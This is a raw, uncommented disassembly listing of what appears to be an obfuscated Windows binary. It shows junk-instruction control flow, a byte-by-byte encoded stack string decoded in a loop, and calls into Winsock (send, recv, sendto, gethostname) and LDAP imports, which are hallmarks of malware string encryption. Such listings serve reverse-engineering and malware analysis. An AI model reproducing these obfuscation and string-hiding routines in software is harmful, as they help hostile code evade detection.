add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x4c
jmp 0x1400ba99c
add r10b, 0x38
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
add r10b, 0x70
movzx eax, r11b
and al, r10b
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x10
add r15b, r10b
jmp 0x1400bb00b
lea edx, [r10 - 0x58]
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
jmp 0x1400bafe0
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x20
jmp 0x1400bafa3
add r10b, 0x18
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
add r8, r9
jmp 0x1400bafa3
sub r10b, 0x78
movzx eax, r11b
and al, r10b
mov ecx, 0x24
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
dec rdi
inc rdi
jmp 0x1400ba4b2
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400ba4b2
lea edx, [r10 - 8]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
jmp 0x1400baec9
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400bab7d
lea edx, [r10 - 0x1c]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x3c
jmp 0x1400ba9ff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400babb8
add r10b, 0x68
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
inc rax
cmp r8, rax
jne 0x1400babe0
lea edx, [r10 - 8]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
jmp 0x1400bafe0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bac06
sub r10b, 0x40
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x40
jmp 0x1400bafa3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bac2b
lea edx, [r10 + 0x50]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x30
jmp 0x1400baf3c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400baa02
add r10b, 0x18
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
dec rdi
inc rdi
jmp 0x1400ba4b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bac85
lea edx, [r10 + 0x1c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
jmp 0x1400baec9
inc rax
cmp r8, rax
jne 0x1400bacb3
sub r10b, 0x1c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x3c
inc r9
dec rdi
inc rdi
jmp 0x1400ba4b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bace3
sub r10b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
dec rdi
inc rdi
jmp 0x1400ba4b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bad05
add r10b, 4
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
jmp 0x1400baf9f
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ba99f
add r10b, 0x5c
movzx eax, r11b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bad6d
lea edx, [r10 + 0x60]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
jmp 0x1400bafe0
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bad93
add r10b, 0x28
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x18
jmp 0x1400bafa3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400badbf
add r10b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
add r15b, 0x80
dec rdi
inc rdi
jmp 0x1400ba4b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400ba95d
lea edx, [r10 + 0x10]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x70
jmp 0x1400baec9
lea edx, [r10 - 0x60]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x60
add r15b, dl
add r15b, r11b
jmp 0x1400baf3f
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
jmp 0x1400bafe0
sub r10b, 0x44
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x24
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
lea edx, [r10 + 0x2c]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x34
add r15b, dl
jmp 0x1400bafe0
add r10b, 0x64
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
jmp 0x1400bafa3
lea edx, [r10 - 0x2c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
jmp 0x1400baf3c
lea edx, [r10 + 0x7c]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0x64
add r15b, dl
sub r10b, 0x44
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x24
add r11b, r10b
mov byte [rbp + rdi + 0x348], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400ba4b2
lea edx, [rdi + 0x24]
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400ba4b2
movzx r10d, dil
lea edx, [r10 - 0x6c]
movzx eax, r11b
and al, dl
add al, al
movzx r15d, r11b
sub r15b, al
sub r15b, 0xc
add r15b, dl
sub r10b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, r15b
mov byte [rbp + rdi + 0x348], cl
add r8, r9
jmp 0x1400bafa3
lea edx, [rdi - 0x34]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, dl
add r8, r9
jmp 0x1400bafa3
movabs rax, 0x53bf31d3567b2604
add rax, rdi
and bl, al
add bl, bl
sub r11b, bl
lea r15d, [rax + r11]
sub r15b, 0x1c
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400ba4b2
movabs rcx, 0xb2ea0a4f0a5fc83c
add rcx, rdi
and bl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_46
sub al, bl
lea r15d, [rax + rax]
add r15b, r11b
add r15b, cl
movzx r10d, dil
add r10b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x14
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rdi + 0x348], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x50
add cl, r11b
mov byte [rbp + rdi + 0x348], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
movabs rcx, 0x713fbb4672290cac
add rcx, rdi
and bl, cl
mov eax, Ordinal_41
sub al, bl
lea r15d, [rax + rax]
add r15b, r11b
add r15b, cl
movzx eax, byte [rbp + rdi + 0x348]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400ba4b2
add r10b, 0x74
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r15d, [r10 + r11]
sub r15b, 0x2c
jmp 0x1400ba4b0
sub r10b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r11b
add r15b, r10b
jmp 0x1400ba4a0
lea rdx, [rbp + 0x1718478]
jmp 0x1400bb0d8
lea rdx, [rbp + 0xff335c]
jmp 0x1400bb0d8
lea rdx, [rbp + 0x348]
mov rcx, qword [0x14022e208]
call fcn.14010c4e0
test al, al
jne 0x1400bcac5
mov byte [rbp + 0x470], 0xc9
mov byte [rbp + 0x471], 0xe7
mov byte [rbp + 0x472], 0xf3
mov byte [rbp + 0x473], 0xf1
mov byte [rbp + 0x474], 0xe6
mov byte [rbp + 0x475], 0xf2
mov byte [rbp + 0x476], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x477], 0xe3
mov byte [rbp + 0x478], 0xef
mov byte [rbp + 0x479], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x47a], 0xf6
mov byte [rbp + 0x47b], 0xf0
mov byte [rbp + 0x47c], 0xec
mov byte [rbp + 0x47d], 0xc9
mov byte [rbp + 0x47e], 4
mov byte [rbp + 0x47f], Ordinal_217
mov byte [rbp + 0x480], Ordinal_217
mov byte [rbp + 0x481], Ordinal_211
mov byte [rbp + 0x482], Ordinal_211
mov byte [rbp + 0x483], 0xcc
mov byte [rbp + 0x484], 0xdf
mov byte [rbp + 0x485], Ordinal_211
mov byte [rbp + 0x486], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x487], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x488], 6
mov byte [rbp + 0x489], 0xf0
mov byte [rbp + 0x48a], 0xcb
mov byte [rbp + 0x48b], 0xc0
mov byte [rbp + 0x48c], Ordinal_217
mov byte [rbp + 0x48d], 0xde
mov byte [rbp + 0x48e], Ordinal_200
mov byte [rbp + 0x48f], 0xde
mov byte [rbp + 0x490], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x491], recv
mov byte [rbp + 0x492], reloc.WS2_32.dll_recv
mov byte [rbp + 0x493], Ordinal_211
mov byte [rbp + 0x494], 0xdd
mov byte [rbp + 0x495], Ordinal_211
mov byte [rbp + 0x496], Ordinal_211
mov byte [rbp + 0x497], 0xc9
mov byte [rbp + 0x498], Ordinal_211
mov byte [rbp + 0x499], Ordinal_200
mov byte [rbp + 0x49a], reloc.WS2_32.dll_send
mov byte [rbp + 0x49b], Ordinal_50
mov byte [rbp + 0x49c], Ordinal_60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x49d], xmm0
mov dword [rbp + 0x4ad], eax
mov word [rbp + 0x4b1], ax
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x43
jae 0x1400bbe56
movzx r11d, byte [rbp + rbx + 0x470]
mov edx, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400bbe4d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bb29a
lea r14, [rbx + r13]
movzx eax, dl
and al, r14b
add al, al
sub r14b, al
add r14b, 0x3b
add r14b, r11b
jmp 0x1400bb2d3
je 0x1400bbdd9
inc rax
cmp r8, rax
je 0x1400bbd4b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bbd17
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bbcf7
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bbcb0
movzx r10d, bl
cmp r9, rbx
ja 0x1400bbe44
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400bb304
lea ecx, [r10 + 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x29
jmp 0x1400bb351
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bbc98
inc rax
cmp r8, rax
je 0x1400bbc75
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bbc55
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bbc38
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bbc1b
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bbbed
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bb8e6
nop
lea rcx, [r9 + 8]
cmp r8, rcx
je 0x1400bb8c6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bb8a0
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bb879
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bb85a
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bb836
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400bb819
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bb7f9
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400bb7d9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400bb7a7
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400bb360
mov r8, rcx
lea r9, [rcx + 0x41]
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x1400bbe27
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bbe0a
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bb547
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400bb52c
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400bb511
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400bb756
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400bb70c
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400bb6cb
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400bb6a3
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bb360
mov r8, rcx
lea r9, [rcx + 5]
lea rcx, [r9 + 0x61]
cmp r8, rcx
ja 0x1400bb671
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400bb650
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bb631
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400bb610
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bb5f0
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bb5d0
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400bb5ad
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bb583
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bb564
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400bb360
mov r8, rcx
lea r9, [rcx + 0x28]
jmp 0x1400bb360
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 9
jmp 0x1400bb351
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x6d
jmp 0x1400bb2d7
add r10b, 0x45
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
add r14b, 0x1d
jmp 0x1400bb270
lea edx, [r10 + 0x78]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x48
add r14b, dl
jmp 0x1400bbcca
sub r10b, 0x2e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400bb252
add r10b, 0x2c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x34
dec rbx
inc rbx
jmp 0x1400bb252
lea edx, [r10 - 0x7a]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400bbba5
sub r10b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x20
add r8, r9
jmp 0x1400bbd32
add r10b, 0x3a
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
jmp 0x1400bbd32
lea edx, [r10 - 0x6c]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0xc
add r14b, dl
jmp 0x1400bbd6a
sub r10b, 0x12
movzx eax, r11b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
jmp 0x1400bbd96
add r10b, 0x48
movzx eax, r11b
and al, r10b
mov ecx, 4
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
add r10b, 0x29
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x1f
mov byte [rbp + rbx + 0x470], r14b
inc rbx
jmp 0x1400bb252
lea edx, [r10 - 0x7d]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
add r14b, 0x6b
add r14b, dl
cmp r9, 0x7a
jb 0x1400bb6bb
lea edx, [r10 + 0x12]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r14d, [rcx + rcx]
jmp 0x1400bbcca
lea edx, [r10 - 0x23]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0xb
add r14b, dl
cmp r8, 0x64
jae 0x1400bbb88
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400bbacb
lea edx, [r10 - 0x6a]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x1a
jmp 0x1400bb6e2
lea edx, [r10 + 0x37]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
add r14b, 0x7f
add r14b, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400bbbd0
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400bb9eb
lea edx, [r10 + 0x47]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
add r14b, 0xf
jmp 0x1400bb723
sub r10b, 0x26
movzx eax, r11b
and al, r10b
mov ecx, 5
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
add r10b, 0x34
movzx eax, r11b
and al, r10b
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x6c
add r14b, r10b
jmp 0x1400bbd96
lea edx, [r10 - 0x72]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400bbd6a
sub r10b, 0x18
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x58
jmp 0x1400bbd32
add r10b, 0x42
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
add r8, r9
jmp 0x1400bbd32
lea edx, [r10 - 0x64]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x44
add r14b, dl
jmp 0x1400bbba5
sub r10b, 0xa
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
dec rbx
inc rbx
jmp 0x1400bb252
add r10b, 0x50
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400bb252
lea edx, [r10 - 0x56]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400bbcca
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400bb90a
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x3b
jmp 0x1400bb770
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bb941
sub r10b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x52
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
inc rax
cmp r8, rax
jne 0x1400bb964
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
sub r14b, 0x66
jmp 0x1400bbd6a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb98e
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r10b
add r14b, r11b
jmp 0x1400bbd32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bb9be
sub r10b, 0x7e
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
dec rbx
inc rbx
jmp 0x1400bb252
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400bb770
lea edx, [r10 - 0x32]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400bbcca
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bba13
lea edx, [r10 - 0x13]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x7b
add r14b, dl
jmp 0x1400bbcca
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bba3f
add r10b, 0x39
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
add r14b, 0x71
dec rbx
inc rbx
jmp 0x1400bb252
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bba68
sub r10b, 0x7b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
add r14b, 0x5d
add r8, r9
jmp 0x1400bbd32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bba90
lea edx, [r10 - 0x2f]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
add r14b, 0x49
add r14b, dl
jmp 0x1400bbd6a
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bb726
add r10b, 0x1d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
add r14b, 0x35
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bbb06
add r10b, 0x3c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bbb2f
lea edx, [r10 - 0x78]
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, dl
jmp 0x1400bbd6a
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bbb54
lea edx, [r10 + 0x7a]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 0x56
add r14b, dl
jmp 0x1400bbba5
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bb6e5
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r11b
add r14b, r10b
dec rbx
inc rbx
jmp 0x1400bb252
lea edx, [r10 - 0x48]
movzx eax, r11b
and al, dl
add al, al
movzx r14d, r11b
sub r14b, al
sub r14b, 8
add r14b, dl
add r14b, r11b
sub r10b, 0x75
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r14b
sub cl, al
add cl, 0x33
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x470], cl
add r8, r9
jmp 0x1400bbd32
lea edx, [r10 + 0x5e]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
jmp 0x1400bbd6a
add r10b, 0x25
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 3
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
add r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x79
jmp 0x1400bbd96
add r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
sub r14b, 0x65
jmp 0x1400bbd32
sub r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
add r14b, 0x25
add r8, r9
jmp 0x1400bbd32
add r10b, 0x41
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r14d, [r11 + r10]
add r14b, 0x39
dec rbx
inc rbx
jmp 0x1400bb252
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x4d
jmp 0x1400bbcca
movzx r10d, bl
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x61
sub r10b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x43
add r10b, r11b
mov byte [rbp + rbx + 0x470], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400bb252
lea ecx, [rbx + 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r14d, [r11 + rcx]
add r14b, 0x75
dec rbx
inc rbx
jmp 0x1400bb252
movabs rax, 0x65e4c9650608fa6b
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r14d, [r11 + rax]
add r14b, 0x13
movzx eax, r14b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bb252
movabs rax, 0xf9ead5877678c2c5
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r14d, [r11 + rax]
sub r14b, 0x63
movzx r10d, bl
add r10b, 0x31
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x57
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x470], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 4]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x1c
add r11b, cl
mov byte [rbp + rbx + 0x470], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
movabs rax, 0x21f6edcc57585379
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r14d, [r11 + rax]
sub r14b, 0x4f
movzx eax, byte [rbp + rbx + 0x470]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bb252
sub r10b, 0x61
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
sub r14b, 0x59
jmp 0x1400bb250
sub r10b, 7
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r14d, [r10 + r11]
add r14b, 0x31
jmp 0x1400bb240
lea rdx, [rbp + 0x172b634]
jmp 0x1400bbe5d
lea rdx, [rbp + 0x7ad207]
jmp 0x1400bbe5d
